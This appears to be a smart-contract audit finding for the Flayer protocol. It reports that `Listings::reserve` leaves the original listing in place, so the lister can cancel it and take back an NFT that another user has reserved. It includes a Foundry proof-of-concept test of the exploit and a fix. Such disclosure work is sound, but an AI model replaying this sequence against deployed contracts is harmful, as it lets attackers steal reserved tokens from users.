Wobbly Neon Hyena

High

# Users can cancel listings even after having them being reserved

### Summary

Users can reserve tokens using `Listings::reserve`, when doing so, a new protected listing is created for the caller. Reservation can be made on both tokens deposited directly into the locker or from active listings.
However, when reserving from active listings, the listing data is not cleared at the end of the TX, so when the TX ends, there will be 2 listings for the same token, a protected and a normal listing.

After reservation, which includes the caller some collateral in front, the owner of the original non-protected listing will be able to call `Listings::cancel`, allowing him to sweep the token from the locker, the protected listing will end up having no tokens.

This allows original listings' owners to steal tokens that other users have reserved.

### Root Cause

`Listings::reserve` doesn't clear any data about the active listing that has been reserved from, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759).

### Impact

Users can steal tokens that other users have reserved.

### PoC

Add the following test in `flayer/test/Listings.t.sol`:

```solidity
function test_CanCancelReservedListing() public {
    ICollectionToken collectionToken = ICollectionToken(
        locker.collectionToken(address(erc721a))
    );
    address bob = address(1);
    uint256 _tokenId = 0;

    erc721a.mint(address(this), _tokenId);
    deal(address(collectionToken), bob, 2 ether);
    deal(address(collectionToken), address(this), 1 ether);

    // Creates a listing for the token
    IListings.CreateListing[]
        memory _listings = new IListings.CreateListing[](1);
    erc721a.setApprovalForAll(address(listings), true);
    _listings[0] = IListings.CreateListing({
        collection: address(erc721a),
        tokenIds: _tokenIdToArray(_tokenId),
        listing: IListings.Listing({
            owner: payable(address(this)),
            created: uint40(block.timestamp),
            duration: 10 days,
            floorMultiple: 200
        })
    });
    listings.createListings(_listings);

    // Listing is owned by the contract
    assertEq(
        listings.listings(address(erc721a), _tokenId).owner,
        address(this)
    );

    // Bob reserves the listing
    vm.startPrank(bob);
    collectionToken.approve(address(listings), type(uint).max);
    listings.reserve(address(erc721a), _tokenId, 0.5 ether);
    vm.stopPrank();

    // Protected listing is created
    assertEq(
        protectedListings.listings(address(erc721a), _tokenId).owner,
        bob
    );
    // Listing wasn't cleared
    assertEq(
        listings.listings(address(erc721a), _tokenId).owner,
        address(this)
    );

    // Cancel the listing
    collectionToken.approve(address(listings), type(uint).max);
    listings.cancelListings(
        address(erc721a),
        _tokenIdToArray(_tokenId),
        false
    );

    // Listing is cleared
    assertEq(
        listings.listings(address(erc721a), _tokenId).owner,
        address(0)
    );
    // Protected listing still exists
    assertEq(
        protectedListings.listings(address(erc721a), _tokenId).owner,
        bob
    );
    // NFT is owned by the contract
    assertEq(erc721a.ownerOf(_tokenId), address(this));
}
```

### Mitigation

When reserving an active listing, make sure to clear all data related to that listing in `Listings::reserve`:

```diff
function reserve(
    address _collection,
    uint256 _tokenId,
    uint256 _collateral
) public nonReentrant lockerNotPaused {
    // Read the existing listing in a single read
    Listing memory oldListing = _listings[_collection][_tokenId];

    ...

    // We can now transfer ownership of the listing to the user reserving it
    protectedListings.transferOwnership(
        _collection,
        _tokenId,
        payable(msg.sender)
    );

+   delete _listings[_collection][_tokenId];
+   delete _isLiquidation[_collection][_tokenId];
}
```